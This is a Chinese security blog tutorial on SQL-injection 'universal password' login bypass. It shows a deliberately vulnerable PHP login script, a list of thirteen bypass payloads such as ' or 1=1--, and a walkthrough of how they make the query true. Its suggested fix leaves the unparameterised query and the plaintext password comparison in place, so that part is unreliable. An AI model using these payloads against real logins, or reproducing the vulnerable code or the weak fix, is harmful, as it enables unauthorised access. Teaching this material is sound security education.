[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
//连接数据库 $coon = mysql_connect( 'localhost' , 'root' , 'root' ) or die ( 'Connect Error ' .mysql_error()); mysql_select_db( 'sqlinjection' , $coon ) or die ( 'Datebase Error ' .mysql_error()); //构造查询语句 $query = "SELECT * FROM user WHERE username='" . $_GET [ "username" ]. "' AND password='" . $_GET [ "password" ]. "'" ; echo $query . "<br/>" ; //执行sql语句 $result = mysql_query( $query ); //echo $result; //判断返回数据的数目 $rowcount =mysql_num_rows( $result ); //判断 如果数量大于1标示登录成功 //echo $rowcount; if ( $rowcount !=0){ echo "OK" ; } else { echo "ERROR" ; } ?> <!DOCTYPE html> <html> <head> <meta charset= "utf-8" > <title>SQL injection test</title> </head> <body> <form class = "" action= "test.php" method= "GET" > <input type= "test" name= "username" value= "" ><br/> <input type= "password" name= "password" value= "" ><br/> <input type= "submit" name= "sub" value= "Login" > </form> </body> </html> |
首先我们先看一下测试代码,首先可以看到的是参数并没有进行相关的过滤,肯定会产生注入,但是今天我们讨论的是万能密码的问题。
关于万能密码我们应该都知道,常见的万能密码包括:
[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
|
1: "or " a "=" a 2: ')or(' a '=' a 3: or 1=1-- 4:' or 1=1-- 5:a 'or' 1=1-- 6:" or 1=1-- 7: 'or' a '=' a 8: "or" ="a '=' a 9: 'or' '=' 10: 'or' = 'or' 11:1 or '1' = '1' =1 12:1 or '1' = '1' or 1=1 13: 'OR 1=1%00 |
[AppleScript] 纯文本查看 复制代码
1
|
select * from user where username = 'admin' and password = 'admin' |
但是当我们提交 【' or '1'='1】时,由于程序并没有对特殊字符进行过滤,将用户输入的直接带入查询,最后执行的SQL语句为:
[AppleScript] 纯文本查看 复制代码
1
|
select * from user where username = 'admin' and password = 'admin' or ' 1 ' = ' 1 ' |
这样SQL返回的值始终为1,就成功绕过了程序的验证。
关于修复:
[PHP] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
9
|
$result =mysql_query( $sql ); //执行语句 //echo $result; $results =mysql_fetch_assoc( $result ); if ( $results [ 'username' ] == $name && $results [ 'password' ] == $pass ){ echo "OK" ; } else { echo "NO" ; } } |
以上代码对返回的数据与用户输入数据进行了比较验证,避免了万能密码的产生。
------------------------------------------------------------------------------------------------
一起学习,共同进步。
本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/317.html